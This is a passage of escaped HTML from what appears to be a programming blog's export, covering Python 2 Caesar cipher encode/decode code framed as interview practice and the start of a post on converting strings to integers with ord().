style=\"color:#F47067\"\u003e else\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e chr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(current_ord\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e encode_shift_letter\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(current_ord, start, end, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 26\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e chr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(new_ord)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e else\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e chr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(current_ord\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e decode\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift, decode_shift_letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e encode\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift, encode_shift_letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e modify_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift, shift_letter):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ''\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e letter \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # we only encode letters, random characters like +!%$ are not encoded.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # Lower and Capital letters are not stored near each other on the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # ascii table\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lower_start \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'a'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lower_end \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'z'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e upper_start \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'A'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e upper_end \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Z'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lower_start \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lower_end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift_letter(current_ord, lower_start, lower_end, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e elif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e upper_start \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e upper_end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift_letter(current_ord, upper_start, upper_end, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e else\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e letter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e get_shift\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e try\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e int\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'What shift would you like to use?\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e except\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ValueError\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Shift must be a number'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 25\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Shift must be between 1 and 25'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e main\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e try\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e int\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1) Encode \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e '2) Decode \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e except\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ValueError\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Invalid task, try again!'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e main()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e input\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e raw_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'What message would you like to \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e%s\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e %\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Encode'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e else\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Decode'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e encode(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e elif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e decode(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e __name__\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e ==\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '__main__'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e main()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis would prove that you are a decent problem solver and have enough of\nthe language to get things done but if you want to prove you have\nmastered the python language you might take advantage of some slicing\nand some methods out of the string module and change your code to look\nsomething like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e string \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e letters, maketrans\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e decode\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e encode\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e modify_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e trans \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e maketrans(letters, letters[shift:] \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e letters[:shift])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.translate(trans)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eDo get more information on string.letters and string.maketrans you can\nvisit their documentation\n[here](\u003ca href=\"http://docs.python.org/library/string.html\"\u003ehttp://docs.python.org/library/string.html\u003c/a\u003e)\u003c/p\u003e","category":"Development","date":"2010-11-15T00:00:00Z","tags":["Python","Interviews"],"title":"Caesar Cipher in Python"},{"id":["old","convert_a_string_to_an_integer_in_python"],"path":"old/convert_a_string_to_an_integer_in_python","contentHtml":"\u003cp\u003eA fun interview question some developers like to ask is to have you\nconvert ascii characters to an integer without using built in methods\nlike string.atoi or int().\u003c/p\u003e\n\u003cp\u003eSo using python the obvious ways to convert a string to an integer are\nthese:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e int\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e import\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e string.atoi(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe interesting thing here is finding out where on the ascii character\ntable the number is. Luckily python has this already built in with the\nord method:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e help\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e...\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(c) \u003c/span\u003e\u003cspan style=\"color:#FF938A;font-style:italic\"\u003e-\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e integer\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Return the integer ordinal of a one\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003echaracter string.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'1'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e49\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan 